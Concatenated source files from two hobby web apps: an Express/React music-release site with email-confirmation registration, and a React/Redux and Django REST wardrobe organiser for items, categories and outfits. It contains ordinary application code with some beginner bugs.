</SecondaryInfo> </Info> <Action /> </Container> </Link> ); }; ReleaseListItem.propTypes = { release: PropTypes.object.isRequired }; export default ReleaseListItem; <file_sep>/routes/api/users.js const express = require("express"); const router = express.Router(); const gravatar = require("gravatar"); const bcrypt = require("bcryptjs"); const jwt = require("jsonwebtoken"); const TokenGenerator = require("uuid-token-generator"); const nodemailer = require("nodemailer"); const config = require("config"); const { check, validationResult } = require("express-validator/check"); const User = require("../../models/User"); const Confirmation = require("../../models/Confirmation"); // @route POST api/users // @desc Register user // @access Public router.post( "/", [ check("email", "Please include a valid email").isEmail(), check( "password", "Please enter a password with 8 or more characters" ).isLength({ min: 8 }) ], async (req, res) => { const errors = validationResult(req); if (!errors.isEmpty()) { return res.status(400).json({ errors: errors.array() }); } const { email, password } = req.body; try { // See if a user exists let user = await User.findOne({ email }); if (user) { return res .status(400) .json({ errors: [{ msg: "User already exists" }] }); } // Get users gravatar const avatar = gravatar.url(email, { s: "200", r: "ps", d: "mm" }); user = new User({ email, avatar, password }); // Encrypt password const salt = await bcrypt.genSalt(10); user.password = await bcrypt.hash(password, salt); await user.save(); const tokgen = new TokenGenerator(256, TokenGenerator.BASE62); const confirmationToken = await tokgen.generate(); // Create a confirmation token for this user confirmation = new Confirmation({ user: user.id, token: confirmationToken }); // Save the confirmation token await confirmation.save(err => { if (err) { return res.status(500).json({ errors: [{ msg: err.message }] }); } // Send the email const transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "<EMAIL>", pass: "<PASSWORD>!" } }); const mailOptions = { from: "<EMAIL>", to: user.email, subject: "Account Confirmation Token", text: `Hello ${user.email}` + "Please confirm account creation by clicking the link: \nhttp://" + req.headers.host + "/confirmation/" + confirmation.token }; transporter.sendMail(mailOptions, err => { if (err) { return res.status(500).json({ errors: [{ msg: err.message }] }); } res.status(200).json({ alert: [ { msg: "A confirmation email has been sent to " + user.email } ] }); }); }); } catch (err) { console.log(err.message); res.status(500).send("Server error"); } } ); // @route GET api/users/confirmation/:token // @desc Confirm user email // @access Public router.get("/:token", async (req, res) => { try { } catch (error) { console.log(err.message); res.status(500).send("Server error"); } let token = await Confirmation.findOne({ token: req.params.token }); if (!token) return res.status(400).json({ errors: [ { msg: "We were unable to find a valid token. Your token may have expired. Want to send the new one?" } ] }); // If a token found, find a matching user const user = await User.findById({ _id: token.user }).select("-password"); if (!user) return res.status(400).json({ errors: [ { msg: "We were unable to find a user for this token." } ] }); if (user.isConfirmed) return res.status(400).json({ // user, errors: [ { msg: "Looks your account has already been confirmed. Try to login." } ] }); // Confirm and save the user user.isConfirmed = true; user.save(function(err) { if (err) { return res.status(500).json({ errors: [ { msg: err.message } ] }); } console.log(user); res.status(200).json(user); }); }); // @route POST api/users/confirmation/resend/ // @desc Resend confirmation email // @access Public router.post( "/confirmation/resend", [check("email", "Please include a valid email").isEmail()], async (req, res) => { const errors = validationResult(req); if (!errors.isEmpty()) { return res.status(400).json({ errors: errors.array() }); } const { email } = req.body; try { // See if a user exists const user = await User.findOne({ email }).select("-password"); if (!user) { return res .status(400) .json({ errors: [{ msg: "Invalid credentials" }] }); } if (user.isConfirmed) return res.status(400).json({ user: { isConfirmed: user.isConfirmed }, errors: [ { msg: "This account has already been confirmed. Please log in." } ] }); // Create a confirmation token, save it, and send email const tokgen = new TokenGenerator(256, TokenGenerator.BASE62); const confirmationToken = await tokgen.generate(); confirmation = new Confirmation({ user: user.id, token: confirmationToken }); // Save the token await confirmation.save(function(err) { if (err) { return res.status(500).json({ errors: { msg: err.message } }); } // Send the email const transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "<EMAIL>", pass: "<PASSWORD>!" } }); const mailOptions = { from: "<EMAIL>", to: user.email, subject: "Account Confirmation Token", text: `Hello ${user.email}` + "Please confirm account creation by clicking the link: \nhttp://" + req.headers.host + "/confirmation/" + confirmation.token }; transporter.sendMail(mailOptions, err => { if (err) { return res.status(500).json({ errors: [{ msg: err.message }] }); } res.status(200).json({ user: { isConfirmed: user.isConfirmed }, alert: [ { msg: "A confirmation email has been sent to " + user.email } ] }); }); }); } catch (err) { console.log(err.message); res.status(500).send("Server error"); } } ); module.exports = router; <file_sep>/client/src/components/profiles/ProfileItem.js import React from "react"; import PropTypes from "prop-types"; import { Link } from "react-router-dom"; import Moment from 'react-moment' const ProfileItem = ({ profile: { user: { _id, avatar }, realName, alias, bornAt, basedAt, dob, about } }) => { return <div className="profile bg-light"> <img src={avatar} alt="" className="round-img"/> <div> <h2>{alias}</h2> <p>{realName} from {basedAt}</p> <p>Born at {bornAt} in <Moment format='DD/MM/YYYY'>{dob}</Moment></p> <p>{about}</p> <Link to={`/profile/${_id}`} className="btn btn-primary"> View Artist </Link> </div> </div>; }; ProfileItem.propTypes = { profile: PropTypes.object.isRequired }; export default ProfileItem; <file_sep>/client/src/components/release/Release.js import React, { Fragment, useEffect } from "react"; import styled from "styled-components"; import PropTypes from "prop-types"; import { connect } from "react-redux"; import Spinner from "../../components/layout/Spinner"; import Record from "../../components/release/Record"; import ReleaseItem from "../releases/ReleaseItem"; import { getReleaseById } from "../../actions/release"; const Release = ({ getReleaseById, release: { release, loading }, match }) => { useEffect(() => { getReleaseById(match.params.id); }, [getReleaseById, match.params.id]); return loading || release == null ? ( <Spinner /> ) : ( <Fragment> <ReleaseItem key={release._id} release={release} /> <div> {release.records.map(record => ( <Record key={record._id} record={record} /> ))} </div> </Fragment> ); }; Release.propTypes = { getReleaseById: PropTypes.func.isRequired, release: PropTypes.object.isRequired }; const mapStateToProps = state => ({ release: state.release }); export default connect( mapStateToProps, { getReleaseById } )(Release); <file_sep>/client/src/components/profile/ProfileAbout.js import React from "react"; import PropTypes from "prop-types"; const ProfileAbout = ({ profile: { alias, about } }) => { return ( alias && about && ( <div className="profile-about bg-light p-2"> <h2 className="text-primary">{alias}'s Bio</h2> <p>{about}</p> </div> ) ); }; ProfileAbout.propTypes = {}; export default ProfileAbout; <file_sep>/client/src/components/profile/ProfileTop.js import React from "react"; import PropTypes from "prop-types"; const ProfileTop = ({ profile: { user: { _id, avatar }, realName, alias, dob, bornAt, basedAt, about, links } }) => { return ( <div className="profile-top bg-primary p-2"> <img className="round-img my-1" src={avatar} alt="" /> <h1 className="large">{realName}</h1> <p className="lead"> aka: <br /> {alias} </p> <p> Based at {basedAt} {bornAt && <span><br/>Originally from {bornAt}</span>} </p> <div className="icons my-1"> {links && links.website && ( <a href={links.website} target="_blank" rel="noopener noreferrer"> <i className="fas fa-globe fa-2x" /> </a> )} {links && links.youtube && ( <a href={links.youtube} target="_blank" rel="noopener noreferrer"> <i className="fab fa-youtube fa-2x" /> </a> )} {links && links.soundcloud && ( <a href={links.soundcloud} target="_blank" rel="noopener noreferrer"> <i className="fab fa-soundcloud fa-2x" /> </a> )} {links && links.facebook && ( <a href="#" target="_blank" rel="noopener noreferrer"> <i className="fab fa-facebook fa-2x" /> </a> )} {links && links.instagram && ( <a href="#" target="_blank" rel="noopener noreferrer"> <i className="fab fa-instagram fa-2x" /> </a> )} </div> </div> ); }; ProfileTop.propTypes = { profile: PropTypes.object.isRequired }; export default ProfileTop; <file_sep>/client/src/components/profile/ProfileReleases.js import React, { Fragment } from "react"; import PropTypes from "prop-types"; import { Link } from "react-router-dom"; import Moment from "react-moment"; const ProfileReleases = ({ release: { _id, artist, title, label, format, country, releaseDate, uploadDate, style, description } }) => ( <Fragment> <div> <h3>{artist}</h3> <p> <Link to={`/releases/${_id}`}> <strong>{title}</strong> </Link> </p> <p> Relased: <Moment format="DD/MM/YYYY">{releaseDate}</Moment> </p> <p> Uploaded: <Moment format="DD/MM/YYYY">{uploadDate}</Moment> </p> <h4>{label}</h4> <p>{format}</p> <p>{format}</p> <p>{format}</p> <p> <strong>{format}</strong> </p> </div> </Fragment> ); ProfileReleases.propTypes = { release: PropTypes.object.isRequired }; export default ProfileReleases;
521bbea3f741db843aba6a19c3949caaec164ccc
[ "JavaScript" ]
11
JavaScript
pledovski/MusicFarm
0d2a18cf2ffd5ce7b286c7156814cd1bc6098572
7d52e9ff9a6743212c965c1e313f1aa0a31ca91a
refs/heads/master
<file_sep>import React from 'react'; import { connect } from 'react-redux'; import { Link } from 'react-router-dom'; import { wardrobeActions, authActions } from '../actions'; import NavigationBar from './NavigationBar'; import 'react-multi-carousel/lib/styles.css'; // Slick carousel import Slider from 'react-slick'; import "slick-carousel/slick/slick.css"; import "slick-carousel/slick/slick-theme.css"; import { SampleNextArrow, SamplePrevArrow } from './SliderArrows'; import '../styles/style.scss'; // Resources import closeticon from '../resources/closet.png'; // import maincloseticon from '../resources/closet2.png'; var domain = 'http://closetmap.herokuapp.com'; /* Component that represents the 'home page' user lands on after logging in */ class HomePage extends React.Component { componentDidMount() { this.props.fetchWardrobes(); console.log(this.props.wardrobes) } render() { const sliderSettings = { dots: false, slidesToShow: 4, slidesToScroll: 4, initialSlide: 0, className: 'slides', infinite: false, nextArrow: <SampleNextArrow />, prevArrow: <SamplePrevArrow />, responsive: [ { breakpoint: 1024, settings: { slidesToShow: 3, slidesToScroll: 3, } }, { breakpoint: 600, settings: { slidesToShow: 2, slidesToScroll: 2, initialSlide: 2 } }, { breakpoint: 480, settings: { slidesToShow: 1, slidesToScroll: 1 } } ] }; return ( <div className="home-container"> <h1>Welcome to Your Wardrobes</h1> <p> Hint: Scroll to see your wardrobes and click on the buttons below to add a wardrobe or an item. The Main wardrobe contains all your clothes. </p> <Slider {...sliderSettings}> {console.log('WARDROBES', this.props.wardrobes)} {this.props.wardrobes.map(function (wrd) { let imgsrc = wrd.image ? (domain + wrd.image) : closeticon return ( <div className="carousel-wardrobe" key={wrd.pk}> <h2>{wrd.name}</h2> <Link key={wrd.pk} to={{ pathname: `/wrdbs/${wrd.pk}`, state: { name: wrd.name } }}> <img alt={wrd.name} src={imgsrc} /> </Link> </div> ) })} </Slider> </div> ) } } // "Map" application state to the props of the component <li><Link to="/del-wrdb">Delete wardrobe</Link> </li> const mapStateToProps = state => { console.log('STATE', state) return { wardrobes: state.wardrobes.wardrobes, user: state.auth.user } } // Mapping action dispatcher functions to props const mapDispatchToProps = dispatch => { return { fetchWardrobes: () => { dispatch(wardrobeActions.fetchWardrobes()); }, logout: () => dispatch(authActions.logout()) } } export default connect(mapStateToProps, mapDispatchToProps)(HomePage); <file_sep>var domain = 'http://closetmap.herokuapp.com'; // TODO: Handling failing requests export const fetchWardrobeCategories = (wardrobeName) => { return (dispatch, getState) => { return fetch(domain + '/my_cats/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}`, 'Content-Type': 'application/json' }, body: JSON.stringify({ curr_wd: wardrobeName }) }) .then(res => res.json()) .then(categories => { console.log('Wardrobe categories', categories) // TODO Remove return dispatch({ type: 'FETCH_CATEGORIES', categories }) }) } } // TODO: Handling failing requests export const fetchAllCategories = () => { return (dispatch, getState) => { fetch(domain + '/all_cats/', { headers: { Authorization: `JWT ${getState().auth.token}` } }) .then(res => res.json()) .then(categories => { console.log(categories) // TODO Remove return dispatch({ type: 'FETCH_ALL_CATEGORIES', categories }) }) } } // TODO: Handle failing request export const addCategory = (data) => { return (dispatch, getState) => { let formData = new FormData(); formData.append('category', data.category) if (data.image) { formData.append('image', data.image, data.image.name) } else { formData.append('image', data.image) } return fetch(domain + '/add_cat/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}` }, mode: 'cors', body: formData }) .then(res => res.json()) .then(category => { console.log('Added category', category) return dispatch({ type: 'ADD_CATEGORY', category }) }) } } export const modifyCategory = (e, data) => { e.preventDefault() return (dispatch, getState) => { return fetch(domain + '/mod_cat/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(res => res.json()) .then(json => { console.log('Modied category response: ', json) // Response doesn't currently contain info about updated category // Hence: do not dispatch an event maybe? // TODO: Dispatch event }) } } export const deleteCategory = (e, data) => { e.preventDefault() return (dispatch, getState) => { return fetch(domain + '/del_cat/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(res => res.json()) .then(json => { console.log('Delete category', json) // TODO: Dispatch event? }) } } <file_sep>import { history } from '../router/history'; var domain = 'http://closetmap.herokuapp.com'; export const fetchWardrobes = () => { return (dispatch, getState) => { let headers = { "Content-Type": "application/json" }; let token = getState().auth.token; if (token) { headers["Authorization"] = `JWT ${token}`; } return fetch(domain + '/my/', { headers, }) .then(res => res.json()) .then(wardrobes => { console.log(wardrobes) // TODO Remove return dispatch({ type: 'FETCH_WARDROBES', wardrobes }) }) } } export const addWardrobe = (data) => { return (dispatch, getState) => { let formData = new FormData() formData.append('wardrobe', data.wardrobe) if (data.image) { formData.append('image', data.image, data.image.name) } else { formData.append('image', data.image) } return fetch(domain + '/add_wd/', { headers: { Authorization: `JWT ${getState().auth.token}` }, method: 'POST', body: formData }) .then(res => res.json()) .then(wardrobe => { console.log('Added wardrobe', wardrobe) // TODO Remove dispatch({ type: 'ADD_WARDROBE', wardrobe }) history.push(`/wrdbs/${wardrobe.pk}`, { name: wardrobe.name }) return wardrobe; }) } } export const deleteWardrobe = (wardrobeName) => { return (dispatch, getState) => { return fetch(domain + '/del_wd/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}`, 'Content-Type': 'application/json' }, body: JSON.stringify({ current_wd: wardrobeName }) }) .then(res => res.json()) .then(json => { console.log('Delete wardrobe response', json) // TODO: Update redux aka dispatch event // TODO Redirect history.push('/home') }) } } export const modifyWardrobe = (wardrobeName, newName) => { return (dispatch, getState) => { return fetch(domain + '/mod_wd/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}`, 'Content-Type': 'application/json' }, body: JSON.stringify({ current_wd: wardrobeName, new_name: newName }) }) .then(res => res.json()) .then(wardrobe => { console.log('Modified wardrobe', wardrobe) // TODO: dispatch an action? }) } } <file_sep>import * as authActions from './auth'; import * as categoryActions from './categories'; import * as itemActions from './items'; import * as outfitActions from './outfits'; import * as wardrobeActions from './wardrobes'; export { authActions, categoryActions, itemActions, outfitActions, wardrobeActions }<file_sep>import React from 'react'; import { Link } from 'react-router-dom'; /* Bootstrap */ import Container from 'react-bootstrap/Container'; import LoggedOutNav from './LoggedOutNav'; class Welcome extends React.Component { render() { return ( <div> <LoggedOutNav /> <Container> <Link className="back-link" to="/">Back</Link> <h1>Welcome </h1> <p> * </p> <h3>To find you clothes with ability,</h3> <h3>Remember to use your creativity,</h3> <h3>The closet map is your servant,</h3> <h3>To help you find your garment. </h3> *<br /> ** <br /> * <p> Whether you are a guy or a chick </p> <p>Whether you be peaceful or rough</p> <p>Whether you're young, whether you're old</p> <p>Whether you are an atheist, Whether you are pious</p> <p>Whether you're one-armed, Whether you're left-handed</p> <p>Whether you're rich or still broke</p> <p>Whether you're stressed or never in a hurry</p> <p>Whether you're a cop, Whether you got busted</p> <p>Whether you're white, Whether you're black</p> <p>Whether you are on time or always late</p> <p>Whether you're drunk, Whether you're round</p> <p>Whether you're bald, whether you're blond</p> <p>Whether you're a quail or a bobo</p> <p>Whether you're gay or a virgin</p> <p>Whether you're maniacal or messy</p> <p>Whether you're still sober or alcoholic</p> <p>Whether you're a dwarf or a perch</p> <p>Whether you're two of you' or you're always fishing</p> <p>Whether you're shy or a chatterbox</p> <p>Whether you're a boss or unemployed</p> <p>Whether you're a sportsman or a comic book smoker</p> <p>Whether you've been in school for a long time, Whether you don't have a degree</p> <p>Whether you like to be at peace or you like to party</p> <p> * </p> <h2>The Closet Map can help you daily.</h2> </Container> </div> ) } } export default Welcome;<file_sep>from django.contrib.auth.models import User from django import forms from django.db import models from .models import * class UserForm(forms.ModelForm): email = forms.EmailField(max_length=100, help_text='Required. Please enter a valid email address.') password = forms.CharField(widget=forms.PasswordInput) class Meta: model = User fields = ('username', 'email', 'password') <file_sep>import { history } from '../router/history'; var domain = 'http://closetmap.herokuapp.com'; export const addItem = (data) => { return (dispatch, getState) => { let form_data = new FormData(); form_data.append('name', data.name); form_data.append('user', getState().auth.user.username); form_data.append('wardrobe', data.wardrobe); form_data.append('category', data.category); if (data.image) { form_data.append('image', data.image, data.image.name); } else { form_data.append('image', data.image) } return fetch(domain + '/add_item/', { headers: { Authorization: `JWT ${getState().auth.token}` }, body: form_data, method: 'POST', mode: 'cors' }) .then(res => res.json()) .then(item => { console.log(item) dispatch({ type: 'ADD_ITEM', item: item }) history.push(`/items/${item.pk}`, { item: item }) return item; }) .catch((err) => { throw err; }) } } export const deleteItem = (item) => { return (dispatch, getState) => { return fetch(domain + '/del_item/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}`, 'Content-Type': 'application/json' }, body: JSON.stringify({ name: item.name }) }) .then(res => res.json()) .then(response => { // TODO: Would be better to redirect where the item was from history.push('/home') // Item: { username: username} /* return dispatch({ type: 'DELETE_ITEM', item: item })*/ }) .catch((err) => { throw err; }) } } export const modifyItem = (data) => { return (dispatch, getState) => { let form_data = new FormData(); form_data.append('name', data.name); form_data.append('new_name', data.new_name); form_data.append('wardrobe', data.wardrobe); if (data.image) { form_data.append('image', data.image, data.image.name); } else { form_data.append('image', data.image); } form_data.append('category', data.category); return fetch(domain + '/mod_item/', { headers: { Authorization: `JWT ${getState().auth.token}` }, body: form_data, method: 'POST', mode: 'cors' }) .then(res => res.json()) .then(item => { console.log('Modified item', item) return dispatch({ type: 'MODIFY_ITEM', item: item }) }) .catch((err) => { throw err; }) } } /** * This returns items in the wardrobe that don't belong to any category. */ export const fetchWardrobeItems = (wardrobe) => { return (dispatch, getState) => { let data = { wardrobe: wardrobe, category: '' }; return fetch(domain + '/get_items/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(res => res.json()) .then(items => { console.log('Fetch wardrobe items', items) return dispatch({ type: 'FETCH_ITEMS', items: items }) }) .catch((err) => { throw err; }) } } export const fetchWardrobeCategoryItems = (wardrobe, category) => { return (dispatch, getState) => { let data = { wardrobe: wardrobe, category: category } return fetch(domain + '/get_items/', { method: 'POST', headers: { Authorization: `JWT ${getState().auth.token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(res => res.json()) .then(items => { console.log('Fetch wardrobe category items', items) return dispatch({ type: 'FETCH_ITEMS_CATEGORY', items: items }) }) .catch((err) => { throw err; }) } } export const fetchAllItems = () => { return (dispatch, getState) => { return fetch(domain + '/all_items/', { method: 'GET', headers: { Authorization: `JWT ${getState().auth.token}` }, }) .then(res => res.json()) .then(items => { console.log('Fetch all items', items) return dispatch({ type: 'FETCH_ALL_ITEMS', items: items }) }) .catch((err) => { throw err; }) } } <file_sep>const initialState = { categories: [] } export default function categories(state = initialState, action) { switch (action.type) { case 'FETCH_CATEGORIES': case 'FETCH_ALL_CATEGORIES': return { ...state, categories: [...action.categories] } case 'ADD_CATEGORY': return { ...state, categories: [...state.categories, action.category] } case 'DELETE_CATEGORY': return { // TODO: Implement } case 'MODIFY_CATEGORY': return { // TODO: Implement } default: return state } } <file_sep># WWW-Services-2019 Project for the 2019 instance of the course Design of WWW Services <file_sep>// Initial state for wardrobes // (initial state can be any valid javascript type and I've just used an array as a placeholder here) const initialState = { wardrobes: [] }; export default function wardrobes(state = initialState, action) { switch (action.type) { case 'FETCH_WARDROBES': return { ...state, wardrobes: [...action.wardrobes] }; case 'ADD_WARDROBE': return { ...state, wardrobes: [...state.wardrobes, action.wardrobe] }; default: return state; } }<file_sep>import React, { Component } from 'react'; /* Router */ import { Route, Switch, Router, Redirect } from 'react-router-dom'; import { history } from './router/history'; /* Redux */ import { Provider, connect } from "react-redux"; import rootReducer from './reducers'; import { createStore, applyMiddleware } from "redux"; import thunk from "redux-thunk"; import { authActions } from './actions'; /* Components */ import NotFound from './components/NotFound'; import LandingPage from './components/LandingPage'; import LoginForm from './components/LoginForm'; import SignupForm from './components/SignupForm'; import ItemForm from './components/ItemForm'; import ItemDelForm from './components/ItemDelForm'; import ItemPage from './components/ItemPage'; import CategoryPage from './components/CategoryPage'; import CategoryForm from './components/CategoryForm'; import HomePage from './components/HomePage'; import OutfitForm from './components/OutfitForm'; import Outfits from './components/Outfits'; import OutfitPage from './components/OutfitPage'; import Wardrobe from './components/Wardrobe'; import WardrobeForm from './components/WardrobeForm'; import WardrobeRenameForm from './components/WardrobeRenameForm'; import Welcome from './components/Welcome'; import FAQ from './components/FAQ'; import NavigationBar from './components/NavigationBar'; /* Styles */ import './styles/style.scss'; /* FontAwesome */ import { library } from '@fortawesome/fontawesome-svg-core'; import { fab } from '@fortawesome/free-brands-svg-icons'; import { faTrash, faFolder, faTshirt, faWalking } from '@fortawesome/free-solid-svg-icons'; library.add(fab, faTrash, faFolder, faTshirt, faWalking); var domain = 'http://closetmap.herokuapp.com'; // Create a redux store using the combined reducer from reducers/index.js const reduxStore = createStore( rootReducer, applyMiddleware(thunk) ); class AppContainerComp extends Component { componentDidMount() { // TODO: Check whether user is logged in, before trying to load user this.props.loadUser(); } PrivateRoute = ({ component: ChildComponent, ...rest }) => { return <Route {...rest} render={props => { if (this.props.auth.isLoading) { return <em>Loading...</em>; } else if (!this.props.auth.isAuthenticated) { return <Redirect to="/login" />; } else { return ( <div> <NavigationBar /> <ChildComponent {...props} /> </div> ) } }} /> } render() { let { PrivateRoute } = this; return ( <Router history={history}> <Switch> <Route exact path="/" component={LandingPage} /> <Route exact path="/login" component={LoginForm} /> <Route exact path="/signup" component={SignupForm} /> <Route exact path="/welcome" component={Welcome} /> <Route exact path="/FAQ" component={FAQ} /> <PrivateRoute exact path="/home" component={HomePage} /> <PrivateRoute exact path="/addwrdb" component={WardrobeForm} /> <PrivateRoute exact path="/addcat" component={CategoryForm} /> <PrivateRoute exact path="/additem" component={ItemForm} /> <PrivateRoute exact path="/wrdbs/:wardrobeId" component={Wardrobe} /> <PrivateRoute exact path="/wrdbs/:wardbrobeId/:category" component={CategoryPage} /> <PrivateRoute exact path="/items/:itemId" component={ItemPage} /> <PrivateRoute exact path="/del-item" component={ItemDelForm} /> <PrivateRoute exact path="/edit-wrdb" component={WardrobeRenameForm} /> <PrivateRoute exact path="/outfits" component={Outfits} /> <PrivateRoute exact path="/outfit/:outfitId" component={OutfitPage} /> <PrivateRoute exact path="/addoutfit" component={OutfitForm} /> <Route component={NotFound} /> </Switch> </ Router > ) } } const mapStateToProps = state => { return { auth: state.auth, } } const mapDispatchToProps = dispatch => { return { loadUser: () => { return dispatch(authActions.loadUser()); } } } let AppContainer = connect(mapStateToProps, mapDispatchToProps)(AppContainerComp); class App extends Component { render() { return ( <Provider store={reduxStore}> <AppContainer /> </Provider> ); } // TODO: Implement in actions wd_view = (e) => { e.preventDefault(); var war = e.target.value; this.get_cats(war); if (war) { let data = { wardrobe: war, category: '' }; var items = []; var items_str = []; fetch(domain + '/get_items/', { method: 'POST', headers: { Authorization: `JWT ${localStorage.getItem('token')}`, 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(res => res.json()) .then(json => { //handle items here var url = ''; for (var i = 0; i < json.length; i++) { url = (json[i].image).substring(16); items.push(<div key={i}><img src={url} alt={json[i].name} name={json[i].name} width="100" height="100" /><figcaption>{json[i].name}</figcaption></div>); items_str.push(json[i].name); } this.setState({ displayed_form: '', current_wd: war, items: items, items_str: items_str, ofs: false }); this.all_cats(); }); } else { this.setState({ displayed_form: '', current_wd: war, items: [], items_str: [] }); this.all_cats(); this.all_items(); } }; // TODO: Implement in actions open_cats = (e) => { e.preventDefault(); var cat = e.target.id; var war = this.state.current_wd; let data = { wardrobe: war, category: cat }; var items = []; var items_str = []; fetch(domain + '/get_items/', { method: 'POST', headers: { Authorization: `JWT ${localStorage.getItem('token')}`, 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(res => res.json()) .then(json => { //handle items here var url = ''; for (var i = 0; i < json.length; i++) { if (json[i].image) { url = (json[i].image).substring(16); } items.push(<div key={i}><img src={url} name={json[i].name} width="100" height="100" alt="Item_photo" /><figcaption>{json[i].name}</figcaption></div>); items_str.push(json[i].name); } this.setState({ categories: [], displayed_form: '', current_wd: war, items: items, items_str: items_str }); this.all_cats(); }); }; } export default App; <file_sep>from django.shortcuts import render, redirect from django.http import HttpResponse, HttpResponseRedirect, JsonResponse from django.template.loader import get_template from django.contrib.auth import login, logout, authenticate from django.contrib.auth.models import User from django.views.generic import View from django.contrib.auth.decorators import login_required from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from django.core.files.storage import FileSystemStorage from django.core.files.base import ContentFile from django.conf import settings from .forms import UserForm from .serializers import * from .models import Wardrobe, Outfit, OutfitItem from rest_framework.response import Response from rest_framework.decorators import api_view, permission_classes from rest_framework.views import APIView from rest_framework import status, permissions from rest_framework.parsers import MultiPartParser, FormParser import json import os # Create your views here. @api_view(['GET']) @permission_classes([permissions.IsAuthenticated]) def my_wardrobes(request): request.session.set_expiry(600) username = request.user.username wardrobes_list = Wardrobe.objects.filter(user=username) serializer = WardrobeSerializer(wardrobes_list, many=True) return Response(serializer.data) @api_view(['GET', 'POST']) @permission_classes([permissions.IsAuthenticated]) def my_cats(request): request.session.set_expiry(600) username = request.user.username curr_wd = request.data['curr_wd'] items = Item.objects.filter(user=username, wardrobe=curr_wd) if (curr_wd == "Main Wardrobe"): items = Item.objects.filter(user=username) item_cats = ItemCategory.objects.filter(item_id__in=items.values('name'), user=username) categories_list = Category.objects.filter( category__in=item_cats.values('category_id'), user=username) serializer = CategorySerializer(categories_list, many=True) return Response(serializer.data) @api_view(['GET']) @permission_classes([permissions.IsAuthenticated]) def all_cats(request): request.session.set_expiry(600) username = request.user.username categories_list = Category.objects.filter(user=username) serializer = CategorySerializer(categories_list, many=True) return Response(serializer.data) @api_view(['GET']) def current_user(request): request.session.set_expiry(600) serializer = UserSerializer(request.user) if (serializer['username'].value is not ''): return Response(serializer.data) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) class add_wd(APIView): permission_classes = (permissions.IsAuthenticated, ) def post(self, request, format=None): request.session.set_expiry(600) username = request.user.username wd_name = request.data['wardrobe'] WD = Wardrobe(name=wd_name, user=username, image=request.data['image']) serializer = WardrobeSerializer(WD) WD.save() return Response(serializer.data, status=status.HTTP_201_CREATED) class add_cat(APIView): permission_classes = (permissions.IsAuthenticated, ) def post(self, request, format=None): request.session.set_expiry(600) username = request.user.username cat_name = request.data['category'] if (not Category.objects.filter(category=cat_name).exists()): category = Category(category=cat_name, user=username, image=request.data['image']) category.save() categories_list = Category.objects.filter(user=username) serializer = CategorySerializer(categories_list, many=True) return Response(serializer.data, status=status.HTTP_201_CREATED) class add_item(APIView): permission_classes = (permissions.IsAuthenticated, ) parser_classes = (MultiPartParser, FormParser) def post(self, request, format=None): request.session.set_expiry(600) item_serializer = ItemSerializer(data=request.data) if (item_serializer.is_valid()): item_serializer.save() if (request.data['category']): it_category = ItemCategory( category_id=request.data['category'], item_id=request.data['name'], user=request.user.username) it_category.save() return Response(item_serializer.data, status=status.HTTP_201_CREATED) return Response(item_serializer.errors, status=status.HTTP_400_BAD_REQUEST) class add_outfit(APIView): permission_classes = (permissions.IsAuthenticated,) parser_classes = (MultiPartParser, FormParser) def post(self, request, format=None): request.session.set_expiry(600) outfit = Outfit(name=request.data['name'], user=request.user.username, image=request.data['image']) for item in (request.data['items'].split(",")): out_item = OutfitItem(name=item, outfit=outfit.name, user=request.user.username) out_item.save() serializer = OutfitSerializer(outfit) outfit.save() return Response(serializer.data, status=status.HTTP_201_CREATED) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def get_items(request): request.session.set_expiry(600) wd = request.data['wardrobe'] cat = request.data['category'] items_list = [] item_cats = ItemCategory.objects.filter(user=request.user.username) if wd == "Main Wardrobe": items_list = Item.objects.filter(user=request.user.username) else: items_list = Item.objects.filter(wardrobe=wd, user=request.user.username) if (cat == ''): items_list = items_list.exclude(name__in=item_cats.values('item_id')) else: item_cats = item_cats.filter(category_id=cat) items_list = items_list.filter(name__in=item_cats.values('item_id')) serializer = ItemSerializer(items_list, many=True) return Response(serializer.data) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def open_outfit(request): request.session.set_expiry(600) usern = request.user.username outfit_its = OutfitItem.objects.filter(outfit=request.data['outfit'], user=usern) items = Item.objects.filter(user=usern) items = items.filter(name__in=outfit_its.values('name')) serializer = ItemSerializer(items, many=True) return Response(serializer.data) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def item_outfits(request): print(request.data['item']) request.session.set_expiry(600) usern = request.user.username outfit_its = OutfitItem.objects.filter(name=request.data['item'], user=usern) outfits = Outfit.objects.filter(user=usern) outfits = outfits.filter(name__in=outfit_its.values('outfit')) serializer = ItemSerializer(outfits, many=True) return Response(serializer.data) @api_view(['GET']) @permission_classes([permissions.IsAuthenticated]) def outfits(request): request.session.set_expiry(600) usern = request.user.username outfits = Outfit.objects.filter(user=usern) serializer = OutfitSerializer(outfits, many=True) return Response(serializer.data) @api_view(['GET']) @permission_classes([permissions.IsAuthenticated]) def all_items(request): request.session.set_expiry(600) items_list = Item.objects.filter(user=request.user.username) serializer = ItemSerializer(items_list, many=True) return Response(serializer.data) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def del_item(request): request.session.set_expiry(600) item = request.data['name'] item_obj = Item.objects.filter(user=request.user.username, name=item) serializer = ItemSerializer(item_obj) item_obj.delete() item_cat = ItemCategory.objects.filter(user=request.user.username, item_id=item) item_cat.delete() return Response(serializer.data, status=status.HTTP_201_CREATED) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def del_outfit(request): request.session.set_expiry(600) outfit = request.data['name'] outfit_obj = Outfit.objects.filter(user=request.user.username, name=outfit) serializer = 